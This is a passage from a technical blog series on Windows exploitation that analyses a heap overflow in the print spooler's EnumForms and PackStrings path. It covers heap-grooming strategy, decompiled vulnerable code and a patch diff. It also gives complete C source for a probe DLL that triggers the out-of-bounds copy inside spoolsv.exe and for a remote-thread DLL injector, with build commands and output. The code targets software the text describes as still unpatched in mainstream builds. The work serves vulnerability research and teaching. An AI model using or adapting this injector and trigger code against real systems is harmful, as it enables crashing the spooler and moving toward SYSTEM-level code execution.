Understanding the mechanism matters because if we want eight specific bytes appear in the overflow, we add a form whose name is the Unicode string containing such bytes. Thus, `AddFormW` function determines what will overflow, and it is not responsible for overflow itself. Actually, the overflow itself will only start when `EnumForms` function is called with an oversized `cbBuf` parameter, whose data return path reaches internally into `PackStrings` string, which is the responsible for invoking `memcpy` and triggering the overflow. Just a side note: to add a form, it is necessary to have `PRINTER_ACCESS_ADMINISTER` access right. Thus, the sequence is: `AddFormW` (what write) → `EnumForms` → `CopyIniFormToFormInfo` → `PackStrings` → `memcpy`. An important note: the transition between `AddFormW` to `EnumForms` is not a function call, but only a data dependency. Basically, they are two independent RPC calls.

## 07. Heap notes

This vulnerability is a classic heap overflow, which involves heap memory management concepts, whose details we have learned in previous articles of this series. Objects involved in this exploitation process have around 10 KB (precisely 0x2780 bytes), so they are allocated by Variable Size (VS) allocator (accepts allocations below 128 KB), which can be checked by using `!heap -s` (SegmentHeap) in `spoolsv.exe` process (check `_HEAP_VS_CONTEXT` (VsContext)). Remember: `LFH` → `VS Allocator` → `Backend` | `Large blocks`.

In this region of heap, VS allocator retrieves large subsegments from the backend and use chunks inside them, where each chunk is preceded by a 16-byte header (`_HEAP_VS_CHUNK_HEADER`) that holds values such as chunk's size, previous chunk's size, and allocation flags. As readers already know, multiple of these fields are encoded with XOR using a key that is specific for each heap, and makes corruptions to be easily detected by the memory allocator. Thus, we cannot ask the allocator to "walk" a corrupted header, but we can overwrite data after the header and call a function pointer. It is something like:

- 16 bytes VS header → chunk data (0x2780) → bytes VS header → chunk data → bytes VS header

Considering that data involved in our tests is 0x2780 bytes, and the check header has 0x10 bytes, so we have a total of 0x2790 bytes, but as readers will notice, this value is not hardcoded in the exploit. As 0x2780 is positioned at the boundary, allocator needs to round up the data size.

As VS allocator is deterministic, if we allocate many blocks of the same size they will tend to be laid down continuously and adjacently to each other within a subsegment, and this disposition allows us to make holes and allocate new objects into any of these holes. Therefore, the procedure is similar to previous articles, and we have to spray many blocks (structures/objects) with the target size (0x2780, which will be increased to 0x2790 due to header), make N holes (maybe us every 4<sup>th</sup> block/object or less) to create predictable gaps, and allocate the EnumForms's output buffer which should land in one of these holes. If you remember from previous articles:

- spray: [spray] [spray] [spray] [spray] [spray] [spray] [spray] [spray] [spray] [spray] [spray] [spray] [spray]
- holes: [spray] [spray] [spray] [hole] [spray] [spray] [spray] [hole] [spray] [spray] [spray] [hole]
- victim: [spray] [spray] [spray] [victim] [spray] [spray] [spray] [hole] [spray] [spray] [spray] [hole]

An already mentioned point of this exploitation is that if we increase cbBuf parameter also slides PackStrings's content past the end of the victim chunk. Thus, depending on how we do these adjustment, we can overwrite only the header of the adjacent chunk or its data too:

- [Form structs -- grows up] [gap] [packed strings -- grows down] [VS header] [data]

There is an essential detail here: cbBuf represents Form structs + packed strings. Thus, when we increase cbBuf, it is actually increasing the gap and sliding packed strings over the adjacent buffer.

## 08. Techniques and experiments

Before proceeding with the real exploitation process, it is advisable to test whether the supposed write primitive works as expected. To try it, we will allocate several N + 0x1000 bytes via `VirtualAlloc(MEM_RESERVE, PAGENOACCESS)`, but we will commit only the first N as "PAGE\_READWRITE". The memory will have the following organization: [Committed RW | No Access | unmapped].

This approach narrows possibilities of writing, and if an OOB write occurs, it touches the No Access region and causes an `ACCESS_VIOLATION`, proving it crossed the limit over the adjacent region, and which confirms that the OOB write access exists. Obviously, the real exploit will throw guard pages away and groom a real and writable adjacent chunk because, at the end of the day, we want a corruption effect, but without causing any crash. Based on this reason, part of our code is wrapped the sequence `__try / __except(EXCEPTION_EXECUTE_HANDLER)` and it is also used `GetExceptionCode` function to help to build a scriptable probe to prevent `ACCESS_VIOLATION` reach `UnhandledExceptionFilter` and kill `spoolsv.exe`.

The next step is calling `spoolss!EnumFormsW` to use the bug, but without going through `winspool.drv` code. Unfortunately, on Windows 11, there is a not remote pipe to send raw RPC to, and there is a strong restriction that pForm and cbBuf have to be independent to each other. Worse, only the export inside

spoolsv passes them to the provider, without RPC marshaling to bind them. To offer a clearer scenario to readers, it is relevant to highlight:

- [winspool.drv!EnumFormsW](#): it is the client API that an application calls. In general way, it validates passed arguments and then sends the request over RPC.
- [spoolss.dll!EnumFormsW](#): it works as a redirector on the server side, which takes the call and redirects it to a print provider.
- [spoolsv.exe](#) and [localspl.dll](#): they work as the worker and provider that does the buffer copy.

Our plan is to reach the server-side and trigger the copy without passing through any client API's validation, as would be applied by [winspool.drv](#), which checks arguments and kills any malformed call before touching the bug. Thus, we have to skip the client and call the redirector, on server, directly. Based on this, maybe one of most recommended ways to do it is by crafting raw RPC packets and send them to the spooler's network endpoint ([\\pipe\\spoolss](#)). Once again, I have been hit here because there is no exposed pipe to the network, so there is a normal "path" on Windows 11.

Another point mentioned above is that to achieve the overflow it is necessary to have pForm and cbBuf independent to each other, because it allows us to have a small buffer with a large cbBuf. This is one of most relevant aspect for exploiting the bug because we want exactly a small buffer (given by pForm), but declaring a large size (cbBuf). As the copy is based on the offset provided by pForm + cbBuf, so a large cbBuf with a small buffer will cross off the end, and overwrite the adjacent memory. Unfortunately, in terms of communication over RPC, we cannot make them independent because, in the interface definition, pForm array is determined by cbBuf, and the NDR marshalling turns out to force the transport to carry only the amount of bytes given by cbBuf, which prevent us declaring value and transport another one. As a valid way, [spoolss!EnumFormsW](#) → [spoolsv!EnumFormsW](#) is able to handle exactly the raw pForm and cbBuf we pass, and without any NDR interference, so we can keep and use both parameters independently.

To run the code inside spoolsv.exe and call the redirector directly, it is necessary to make use of DLL injection. Honestly, I didn't spend necessary time to find another approach, but apparently the only way to present independent pForm and cbBuf (small buffer with large cbBuf) to trigger the vulnerable copy is to be inside spoolsv and call [spoolss!EnumFormsW](#) by ourselves (use [GetModuleHandle\("spoolss.dll"\)](#)) followed by [GetProcAddress\("EnumFormsW"\)](#), and to get this task done we need to inject a DLL into it. Is it a clean solution? No, it is not, but as I explained, I didn't dedicate time enough to it.

As expected, it is exactly at this point that the weakness of this exploit comes up because to achieve a DLL injection into the SYSTEM spooler it is necessary to have [SeDebugPrivilege](#), which only an administrator has, but admin privilege will never give us SYSTEM, and that is a circular condition. The practical way to break this is put the code inside the spooler process, and enable the actual elevation of privilege by hijacking execution inside the SYSTEM process via the existing bug, and not from the privilege itself. As a side note, we have to use a worker thread and not execute code in DllMain, which runs under a lock and may be deadlocked.

We will follow this scheme:

- **Injector (admin + SeDebug):** [EnableDebugPrivilege](#) → [OpenProcess \(spoolsv\)](#) → [VirtualAllocEx](#) → [WriteProcessMemory \(<DLL path>\)](#) → [CreateRemoteThread\(LoadLibraryW\)](#) → [DllMain](#) → [WorkerThread](#) (after injection, it runs inside spoolsv, and as SYSTEM).

- Inside spoolsv.exe:
  - **option A:** `spoolss.dll!EnumFormsW` → `spoolsv!EnumFormsW` → `localspl` (raw pForm + raw cbBuf, no NDR and runs as SYSTEM)
  - **option B:** `winspool.drv!EnumFormsW` → RPC back into spoolsv (re-enter the process and re-adds the client side checks).

Obviously, I have taken option A because taking second one would cause problems.

I had problems handling the copy of a wide string due to the fact it terminates at the first NULL wide character, mainly because 64-bit user code are similar to 0x00007FFFF8BC1B90, and once bytes follow little-endian representation, it ends with 0x0000. After some analysis, I realized that it was good, in fact, and the real problem would be whether the three words were zero because the string would terminate early and truncate the pointer. The fix is to create a trampoline that can be built by allocating an executable page at an address that does not have any NULL word in its low bytes, and finding this address is done by basically scanning `VirtualAlloc` targets starting at 0x10010000 and moving upwards in increments of 0x10000, until one is found.

Only as a supplement, I performed a binary diffing between mainstream and canary Windows versions, and apparently Microsoft have been fixing the path taken to exploit this bug based on the fact that there are a few checks that are present in Canary, but they are still absent from mainstream build. A few improvements that I could notice are the application of integer overflow protections, buffer upper and lower bound checks, RPC caller authorization, but it does not fix our exploit path yet.

Reading the mainstream RPC worker, they have the following sequence: `localspl!SplEnumForms` → `localspl!InternalEnumForms` → `localspl!CopyIniFormToFormInfo` → `PackStrings` → `memcpy`

Checking the code (on **mainstream**) for `localspl.dll` (v10.0.26100.7689) and `spoolsv.exe` (v10.0.26100.7689), we have the following sequence where the bug is found:

```
01. localspl!InternalEnumForms
 cmp esi, r12d ; jbe ← it is only size check (needed vs cbBuf)
 lea rsi, [rdi+r12] ← v15 = &pForm[cbBuf] (back/end of the buffer)

02. localspl!CopyIniFormToFormInfo (level 2 does the memcpy itself)

03. PackStrings → ucrtbase!memcpy
 v7 -= len;
 memcpy(v7, name, len) ← the OOB write

04. back/end of buffer = pForm+cbBuf;
```

The decompiled code (`localspl!InternalEnumForms`), with a few notations and highlights follows:

```
__int64 __fastcall InternalEnumForms(struct _INISPOOLER *a1, unsigned int a2,
 unsigned __int8 *a3, unsigned int a4, unsigned int *a5, _DWORD *a6)
{
 // a2 = level, a3 = pForm and a4 = cbBuf
 __int64 v6 = a4; // v6 = cbBuf
 ...

 // PASS 1: sum every form's size into v11 and with a real integer overflow guard.

 while (1) {
 FormSize = GetFormSize((struct _INIFORM *)v10, a2);
 if (GetLastError() == 534) break;
 v11 += FormSize;
 if (v11 < FormSize) break; // overflow of the sum is checked...
```

```

 v10 = *(_QWORD *)(v10 + 8);
 if (!v10) goto LABEL_20;
}
... "Returning ... because of Integer Overflow." ; return 0;
LABEL_20:
*a5 = v11; // *pcbNeeded = needed
if (v11 > (unsigned int)v6) // THE ONLY SIZE CHECK:
{ // needed > cbBuf ?
 SetLastError(0x7Au); // 0x7A = ERROR_INSUFFICIENT_BUFFER
 LeaveSplSem(); return 0;
}

v14 = *(_QWORD *)a1 + 9);
v15 = &a3[v6]; // v15 = pForm + cbBuf (back/end of the buffer)

// PASS 2: copy each form, where v15 (the "back/end of buffer") is handed to
CopyIniFormToFormInfo

while (1) {
 v16 = GetFormSize((struct _INIFORM *)v14, a2);
 if (GetLastError() == 534) break;
 v15 = CopyIniFormToFormInfo((struct _INIFORM *)v14, a2, a3, v16, v15); // copy
 ...
 if (a2 == 1) a3 += 40; // front buffer grows UP (records, as explained)
 else if (a2 == 2) a3 += 88;
 v14 = *(_QWORD *)(v14 + 8);
 ++*a6;
 if (!v14) goto LABEL_36;
}
}

```

**PackStrings** function receives the same back/end buffer address and performs the actual byte copy, and it works are a shared packing helper that the spooler carrier in more than one module. Anyway, in the potential crash stack the call runs [localspl!CopyIniFormToFormInfo](#) → [spoolss!PackStrings](#) → [spoolsv!PackStrings](#) → [ucrtbase!memcpy](#). Thus, from this stack perspective, we have that faulting frame is [spoolsv!PackStrings](#) and its [memcpy\\_0](#) is [ucrtbase!memcpy](#), as shown below:

```

unsigned __int8 *__fastcall PackStrings(unsigned __int16 **a1, unsigned __int8 *a2,
 unsigned int *a3, unsigned __int64 a4)
{
 // a2 = front (pForm) a4 = end pointer (= pForm + cbBuf)

 if (!a1 || !a2 || !a3 || !a4 || a4 < (unsigned __int64)a2) return 0;
 v7 = (unsigned __int8 *)(a4 & 0xFFFFFFFFFFFFFFFFEuLL); // v7 = end pointer (aligned)
 while (v7 >= a2) { // while back >= front...
 v8 = *v4;
 v9 = (_DWORD)v7 - (_DWORD)a2; // gap between back and front
 if ((int)v7 - (int)a2 < (unsigned int)(v8 + 8)) { ... return v7; } // gap check
 v10 = *v6; // the string pointer
 if (v10) {
 v11 = -1; while (v10[++v11] != 0) ;
 v13 = 2 * v11 + 2; // byte length incl. NUL
 if (v9 < v13 || v9 - v13 < (int)v8 + 8) { ... return v7; } // overflow check
 v7 -= v13; // move back pointer down
 memcpy_0(v7, v10, v13); // the key write (ucrtbase!memcpy)
 *(_QWORD *)&a2[*v4] = v7; // fix up record's pName → packed
 }
 }
 ...
}
return v7;
}

```

There is subtlety because [PackStrings](#) function has some internal sanity checks, but they are expressed relative to `a2`, which points to the front of the buffer (`pForm`) and `v7/a4` (the back, which consist of `pForm + cbBuf`), which guarantee that the front and back pointers do not collide inside the window. However, there is nothing in [PackStrings](#), [CopyIniFormToFormInfo](#) or [InternalEnumForms](#) that checks that `a4 = pForm + cbBuf` is placed within the memory the caller really allocated, so `memcpy_0(v7, v10, v13)` is able to write at `pForm + cbBuf - v13`, which is located outside the real buffer. No doubt, it is the critical instruction associated with `ucrtbase!memcpy+0x93` of the crash, which provides us with a write primitive once we can manage grooming the around memory region.

In Windows Canary, the code has been rewritten because in the packing path there is the addition of the missing bound check, and the copy loop is preceded by a size accumulation check that re-rederives the real total, which refuses to proceed unless every offset stays inside true buffer, as expected. Observe a few checks that were absent on mainstream system:

```
for (i = 0; ; ++i) {
 v21 = 32LL * i;
 if (*(_DWORD *)&v12[v21] == -1) break; // check 5: it is an end-of-fields sentinel
 v22 = *(_DWORD *)&v12[v21 + 24];
 if ((unsigned int)(v22 - 1) <= 8) { v23 = 4; v24 = 4; } // Check 6: field-type range (1 to 9)
 else { if (v22) goto LABEL_37; v23 = *(_QWORD *)&v12[v21+8]; v24 = *(_QWORD *)&v12[v21+16]; }
 v25 = -v24 & (v24 + v19 - 1);
 if (v25 > 0xFFFFFFFFLL - v23) { v26 = 534; goto LABEL_38; } // Check 1: integer overflow
guard
 v19 = v23 + v25; // accumulate true size
}
v27 = (v19 + 3) & 0xFFFFFFFFFFFFFFFFCuLL;
if (v27 <= v46) // check 2: total <= real buffer end
{
 for (j = (__int64)v15; ; j += v27) {
 if (v29 >= v44) break; // Check 3: stay within the count/extent
 ... // only now does it copy/fix up
 }
}
```

To prove the potential protection against exploitation, two different programs follow. The first one follows the traditional way, where data go through [winspool.drv](#), exactly as application would do. The second one calls the same function, but this time from inside [spoolsv.exe](#), which reaches the redirector [spoolss!EnumFormsW](#) directly. Yes, I know that the test is simple, but it shows you as the output differs depending on the taken path. As explained previously, the attempt to send data through the client through the client library is rejected, but sending data directly to the server is accepted without any issue.

Therefore, in this first application, [EnumFormsW](#) function is called through the [winspool.drv](#) from a normal process. The source code follows below:

```
/*
 * test_spoolsv_enumforms.c - Test for missing bounds in YEnumForms
 * safe test: normal winspool.drv API calls; does not attempt to crash.
 * Compile: cl /W4 test_spoolsv_enumforms.c winspool.lib
 */
#include <windows.h>
#include <winspool.h>
#include <stdio.h>
#pragma comment(lib, "winspool.lib")

void test_enumforms(HANDLE hPrinter, DWORD level, DWORD bufSize) {
 DWORD needed = 0, returned = 0;
 BYTE *buffer = NULL;
 if (bufSize > 0) {
```

```
 buffer = (BYTE *)malloc(bufSize);
 if (!buffer) { printf(" malloc(%u) failed\n", bufSize); return; }
 memset(buffer, 'A', bufSize);
}
printf(" EnumForms(level=%u, buf=%p, size=%u): ", level, buffer, bufSize);
BOOL result = EnumFormsW(hPrinter, level, buffer, bufSize, &needed, &returned);
DWORD err = GetLastError();
if (result) printf("SUCCESS (returned=%u, needed=%u)\n", returned, needed);
else printf("FAILED (err=%u, needed=%u)\n", err, needed);
if (buffer) free(buffer);
}

int main(void) {
 HANDLE hPrinter = NULL;
 PRINTER_DEFAULTSW defaults = {0};
 printf("=== spoolsv YEnumForms Bounds Test ===\n\n");
 defaults.DesiredAccess = PRINTER_ACCESS_USE;
 if (!OpenPrinterW(NULL, &hPrinter, &defaults)) {
 if (!OpenPrinterW(NULL, &hPrinter, NULL)) {
 printf("Cannot open printer (err=%u)\n", GetLastError());
 if (!OpenPrinterW(L"XcvMonitor Standard TCP/IP Port", &hPrinter, NULL)) {
 printf("Cannot open any printer target\n");
 return 1;
 }
 }
 }
 printf("Printer opened: handle=0x%p\n\n", hPrinter);

 printf("[1] Normal call (level 1, 0 buffer):\n"); test_enumforms(hPrinter, 1, 0);
 printf("[2] Normal call (level 1, 4096 buffer):\n"); test_enumforms(hPrinter, 1, 4096);
 printf("[3] Level 2 (level 2, 4096 buffer):\n"); test_enumforms(hPrinter, 2, 4096);
 printf("[4] Invalid level (level 99):\n"); test_enumforms(hPrinter, 99, 4096);
 printf("[5] Level 0 (boundary):\n"); test_enumforms(hPrinter, 0, 4096);
 printf("[6] Small buffer but request large needed:\n"); test_enumforms(hPrinter, 1, 8);
 printf("[7] Overflow test (level 1, size=0):\n"); test_enumforms(hPrinter, 1, 0);

 ClosePrinter(hPrinter);
 printf("\n=== Test Complete ===\n");
 return 0;
}
```

If we compile and run this code on mainstream or Canary Windows, we have the following output:

```
C:\Users\Administrator\ers11> cl /W4 test_spoolsv_enumforms.c winspool.lib
C:\Users\Administrator\ers11> test_spoolsv_enumforms.exe
```

```
=== spoolsv YEnumForms Bounds Test ===
```

```
Printer opened: handle=0x0000028C0D15D000
```

```
[1] Normal call (level 1, 0 buffer):
 EnumForms(level=1, buf=0000000000000000, size=0): FAILED (err=122, needed=10112)
[2] Normal call (level 1, 4096 buffer):
 EnumForms(level=1, buf=0000028C0D173D70, size=4096): FAILED (err=122, needed=10112)
[3] Level 2 (level 2, 4096 buffer):
 EnumForms(level=2, buf=0000028C0D173D70, size=4096): FAILED (err=122, needed=102160)
[4] Invalid level (level 99):
 EnumForms(level=99, buf=0000028C0D173D70, size=4096): FAILED (err=124, needed=0)
[5] Level 0 (boundary):
 EnumForms(level=0, buf=0000028C0D173D70, size=4096): FAILED (err=124, needed=0)
[6] Small buffer but request large needed:
 EnumForms(level=1, buf=0000028C0D171630, size=8): FAILED (err=122, needed=10112)
[7] Overflow test (level 1, size=0):
 EnumForms(level=1, buf=0000000000000000, size=0): FAILED (err=122, needed=10112)
```

```
=== Test Complete ===
```

```
If levels 4/5 returned SUCCESS on mainstream but FAILED on canary,
```

the bounds check is missing.

The second program call spoolss!EnumFormsW directly, from inside spoolsv.exe. Basically, the DLL is injected into the spooler, but take some care in running under SEH to survive whether something happen. The source code of payload follows:

```
/*
 * payload_enumforms2.c - injected into spoolsv.exe; calls spoolss!EnumFormsW
 * directly (the router), NOT winspool.drv (which would RPC back to self).
 * Compile: cl /W4 /O2 /LD payload_enumforms2.c /Fe:payload_probe.dll
 */
#include <windows.h>
#include <stdio.h>
#define LOG_FILE "C:\\Windows\\Temp\\enumforms_inject_log.txt"
static FILE *g_log = NULL;
static void LOG(const char *fmt, ...) {
 va_list ap; if (!g_log) return;
 va_start(ap, fmt); vfprintf(g_log, fmt, ap); va_end(ap); fflush(g_log);
}
typedef BOOL (WINAPI *PFN_OpenPrinterW)(LPWSTR, LPHANDLE, LPVOID);
typedef BOOL (WINAPI *PFN_EnumFormsW)(HANDLE, DWORD, LPBYTE, DWORD, LPDWORD, LPDWORD);
typedef BOOL (WINAPI *PFN_ClosePrinter)(HANDLE);

/* one probe case: a real buffer of bufSize, call the router under SEH, log it */
static void run_one_test(const char *desc, DWORD level, DWORD bufSize,
 PFN_EnumFormsW pEnum, HANDLE hPrinter) {
 DWORD need = 0, ret = 0; BYTE *buf = NULL;
 if (bufSize > 0 && bufSize < 0x40000000) {
 buf = (BYTE *)VirtualAlloc(NULL, bufSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
 if (!buf) { LOG(" [%s] alloc failed\n", desc); return; }
 }
 LOG(" [%s] EnumForms(L%u, cb=0x%X): ", desc, level, bufSize);
 __try {
 BOOL ok = pEnum(hPrinter, level, buf, bufSize, &need, &ret);
 DWORD err = GetLastError();
 if (ok) LOG("SUCCESS (ret=%u, need=%u)\n", ret, need);
 else LOG("ERROR %u (need=%u)\n", err, need);
 } __except (EXCEPTION_EXECUTE_HANDLER) {
 LOG("EXCEPTION 0x%08X *** CRASH ***\n", GetExceptionCode());
 }
 if (buf) VirtualFree(buf, 0, MEM_RELEASE);
}

static void run_tests(void) {
 HMODULE hSpoolss;
 PFN_OpenPrinterW pOpen = NULL; PFN_EnumFormsW pEnum = NULL; PFN_ClosePrinter pClose = NULL;
 HANDLE hPrinter = NULL;

 hSpoolss = GetModuleHandleW(L"spoolss.dll");
 if (!hSpoolss) hSpoolss = LoadLibraryW(L"spoolss.dll");
 pOpen = (PFN_OpenPrinterW)GetProcAddress(hSpoolss, "OpenPrinterW");
 pEnum = (PFN_EnumFormsW)GetProcAddress(hSpoolss, "EnumFormsW");
 pClose = (PFN_ClosePrinter)GetProcAddress(hSpoolss, "ClosePrinter");
 if (!pOpen || !pEnum || !pClose) { LOG("[-] missing exports\n"); return; }

 __try {
 if (!pOpen(NULL, &hPrinter, NULL)) { LOG("[-] OpenPrinter %u\n", GetLastError()); return; }
 } __except (EXCEPTION_EXECUTE_HANDLER) { LOG("[-] OpenPrinter exception\n"); return; }

 LOG("=== VALID LEVELS ===\n");
 run_one_test("ok", 1, 0, pEnum, hPrinter);
 run_one_test("ok", 2, 0, pEnum, hPrinter);
 run_one_test("ok", 1, 16384, pEnum, hPrinter);
 LOG("\n=== INVALID LEVELS (no client-side validation here!) ===\n");
 run_one_test("BAD", 99, 4096, pEnum, hPrinter);
}
```

```
run_one_test("BAD", 0, 4096, pEnum, hPrinter);
run_one_test("BAD", 3, 4096, pEnum, hPrinter);
run_one_test("BAD", 0xFFFFFFFF, 4096, pEnum, hPrinter);
run_one_test("BAD", 0x80000000, 4096, pEnum, hPrinter);
LOG("\n=== LARGE BUFFERS (overflow test) ===\n");
run_one_test("1MB", 1, 0x100000, pEnum, hPrinter);
run_one_test("16MB", 1, 0x1000000, pEnum, hPrinter);
run_one_test("64MB", 1, 0x4000000, pEnum, hPrinter);
LOG("\n=== ARITHMETIC OVERFLOW TRIGGERS ===\n");
run_one_test("2G-64", 1, 0x7FFFFFFC0, pEnum, hPrinter);

__try { pClose(hPrinter); } __except (EXCEPTION_EXECUTE_HANDLER) {}

}

static DWORD WINAPI WorkerThread(LPVOID p) {
 (void)p; Sleep(1000);
 g_log = fopen(LOG_FILE, "w");
 if (g_log) { run_tests(); fclose(g_log); g_log = NULL; }
 return 0;
}

BOOL APIENTRY DllMain(HMODULE h, DWORD reason, LPVOID r) {
 (void)r;
 if (reason == DLL_PROCESS_ATTACH) { DisableThreadLibraryCalls(h);
 CreateThread(NULL, 0, WorkerThread, NULL, 0, NULL); }
 return TRUE;
}
```

The source code of the code injector follows:

```
C:\Users\Administrator\vers11> cat inject_enumforms.c
/*
 * inject_enumforms.c -- Injector: loads our DLL into spoolsv.exe
 *
 * 1. Finds spoolsv.exe PID
 * 2. Opens the process
 * 3. Allocates memory in spoolsv
 * 4. Writes the DLL path
 * 5. Creates remote thread calling LoadLibraryW
 * 6. DLL's DllMain calls YEnumForms directly
 *
 * Compile: cl /W4 /O2 inject_enumforms.c advapi32.lib
 * Must run as Administrator (needs SeDebugPrivilege)
 */

#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>

#pragma comment(lib, "advapi32.lib")

static BOOL EnableDebugPrivilege(void) {
 HANDLE hToken;
 TOKEN_PRIVILEGES tp;
 LUID luid;

 if (!OpenProcessToken(GetCurrentProcess(),
 TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
 return FALSE;

 if (!LookupPrivilegeValueW(NULL, L"SeDebugPrivilege", &luid)) {
 CloseHandle(hToken);
 return FALSE;
 }

 tp.PrivilegeCount = 1;
 tp.Privileges[0].Luid = luid;
 tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
```

```
 BOOL ok = AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
 CloseHandle(hToken);
 return ok && GetLastError() == ERROR_SUCCESS;
}

static DWORD FindProcessByName(const wchar_t *name) {
 HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
 if (snap == INVALID_HANDLE_VALUE) return 0;

 PROCESSENTRY32W pe = { .dwSize = sizeof(pe) };
 DWORD pid = 0;

 if (Process32FirstW(snap, &pe)) {
 do {
 if (_wcsicmp(pe.szExeFile, name) == 0) {
 pid = pe.th32ProcessID;
 break;
 }
 } while (Process32NextW(snap, &pe));
 }

 CloseHandle(snap);
 return pid;
}

int wmain(int argc, wchar_t *argv[]) {
 wchar_t dllPath[MAX_PATH];
 DWORD pid;
 HANDLE hProcess, hThread;
 LPVOID remoteMem;
 SIZE_T written;
 DWORD exitCode;

 printf("=====\n");
 printf(" spoolsv.exe DLL Injector for YEnumForms Test\n");
 printf("=====\n\n");

 /* Get DLL path */
 if (argc > 1) {
 wchar_t rawPath[MAX_PATH];
 wcscpy_s(rawPath, MAX_PATH, argv[1]);
 if (!GetFullPathNameW(rawPath, MAX_PATH, dllPath, NULL)) {
 wcscpy_s(dllPath, MAX_PATH, rawPath);
 }
 } else {
 /* Default: same directory as injector */
 GetModuleFileNameW(NULL, dllPath, MAX_PATH);
 wchar_t *lastSlash = wcsrchr(dllPath, L'\\');
 if (lastSlash) *(lastSlash + 1) = 0;
 wcscat_s(dllPath, MAX_PATH, L"payload_enumforms.dll");
 }

 printf("[*] DLL: %S\n", dllPath);

 /* Verify DLL exists */
 if (GetFileAttributesW(dllPath) == INVALID_FILE_ATTRIBUTES) {
 printf("[-] DLL not found: %S\n", dllPath);
 return 1;
 }

 /* Enable SeDebugPrivilege */
 if (!EnableDebugPrivilege()) {
 printf("[!] Warning: Could not enable SeDebugPrivilege\n");
 } else {
 printf("[+] SeDebugPrivilege enabled\n");
 }
}
```

```
/* Find spoolsv.exe */
pid = FindProcessByName(L"spoolsv.exe");
if (!pid) {
 printf("[+] spoolsv.exe not found\n");
 return 1;
}
printf("[+] spoolsv.exe PID: %u\n", pid);

/* Open process */
hProcess = OpenProcess(
 PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION |
 PROCESS_VM_WRITE | PROCESS_VM_READ | PROCESS_QUERY_INFORMATION,
 FALSE, pid);
if (!hProcess) {
 printf("[+] OpenProcess failed: %u\n", GetLastError());
 return 1;
}
printf("[+] Process opened\n");

/* Allocate memory in spoolsv for DLL path */
SIZE_T pathSize = (wcslen(dllPath) + 1) * sizeof(wchar_t);
remoteMem = VirtualAllocEx(hProcess, NULL, pathSize,
 MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!remoteMem) {
 printf("[+] VirtualAllocEx failed: %u\n", GetLastError());
 CloseHandle(hProcess);
 return 1;
}

/* Write DLL path */
if (!WriteProcessMemory(hProcess, remoteMem, dllPath, pathSize, &written)) {
 printf("[+] WriteProcessMemory failed: %u\n", GetLastError());
 VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE);
 CloseHandle(hProcess);
 return 1;
}
printf("[+] DLL path written to spoolsv @ 0x%p\n", remoteMem);

/* Get LoadLibraryW address */
LPVOID loadLibAddr = (LPVOID)GetProcAddress(
 GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");
if (!loadLibAddr) {
 printf("[+] Cannot find LoadLibraryW\n");
 VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE);
 CloseHandle(hProcess);
 return 1;
}

/* Create remote thread */
printf("[*] Injecting DLL into spoolsv.exe...\n");
hThread = CreateRemoteThread(hProcess, NULL, 0,
 (LPTHREAD_START_ROUTINE)loadLibAddr,
 remoteMem, 0, NULL);
if (!hThread) {
 printf("[+] CreateRemoteThread failed: %u\n", GetLastError());
 VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE);
 CloseHandle(hProcess);
 return 1;
}

printf("[+] Remote thread created. Waiting for DLL to execute...\n");

/* Wait for thread to complete (DLL loaded and DllMain ran) */
WaitForSingleObject(hThread, 30000); /* 30 second timeout */
GetExitCodeThread(hThread, &exitCode);
```

```
printf("[+] Thread completed. Exit code: 0x%08X\n", exitCode);

if (exitCode == 0) {
 printf("[-] LoadLibrary returned NULL -- DLL load failed\n");
 printf(" Check if the DLL exists and is 64-bit\n");
} else {
 printf("[+] DLL loaded at 0x%08X in spoolsv\n", exitCode);
}

/* Check if spoolsv is still alive */
DWORD spoolPid = FindProcessByName(L"spoolsv.exe");
if (spoolPid == pid) {
 printf("[+] spoolsv.exe still running (PID %u)\n", spoolPid);
} else if (spoolPid) {
 printf("[!] spoolsv.exe restarted (new PID %u, was %u)\n", spoolPid, pid);
 printf(" *** CRASH DETECTED -- vulnerability confirmed! ***\n");
} else {
 printf("[!] spoolsv.exe is DEAD!\n");
 printf(" *** CRASH DETECTED -- vulnerability confirmed! ***\n");
}

/* Cleanup */
CloseHandle(hThread);
VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE);
CloseHandle(hProcess);

printf("\n[*] Check C:\\Windows\\Temp\\enumforms_inject_log.txt for results\n");
return 0;
}
```

To build and run it on mainstream or Canary Windows, it is necessary to execute the following steps:

```
C:\Users\Administrator\ers11> call "C:\Program Files\Microsoft Visual
Studio\2022\Community\VC\Auxiliary\Build\vcvars64.bat"
```

```

** Visual Studio 2022 Developer Command Prompt v17.14.23
** Copyright (c) 2025 Microsoft Corporation

[vcvarsall.bat] Environment initialized for: 'x64'
```

```
C:\Users\Administrator\ers11> cl /W4 /O2 /LD payload_enumforms2.c /Fe:payload_probe.dll
Microsoft (R) C/C++ Optimizing Compiler Version 19.44.35222 for x64
Copyright (C) Microsoft Corporation. All rights reserved.
```

```
payload_enumforms2.c
payload_enumforms2.c(77): warning C4996: 'fopen': This function or variable may be unsafe. Consider
using fopen_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for
details.
Microsoft (R) Incremental Linker Version 14.44.35222.0
Copyright (C) Microsoft Corporation. All rights reserved.

/dll
/implib:payload_probe.lib
/out:payload_probe.dll
payload_enumforms2.obj
```

```
C:\Users\Administrator\ers11> cl /W4 /O2 inject_enumforms.c advapi32.lib /Fe:inject_enumforms.exe
Microsoft (R) C/C++ Optimizing Compiler Version 19.44.35222 for x64
Copyright (C) Microsoft Corporation. All rights reserved.
```

```
inject_enumforms.c
inject_enumforms.c(32): warning C4133: 'function': incompatible types - from 'char [17]' to
'LPCWSTR'
Microsoft (R) Incremental Linker Version 14.44.35222.0
Copyright (C) Microsoft Corporation. All rights reserved.
```

```

/out:inject_enumforms.exe
inject_enumforms.obj
advapi32.lib

```

```
C:\Users\Administrator\ers11> inject_enumforms.exe payload_probe.dll
```

```

=====
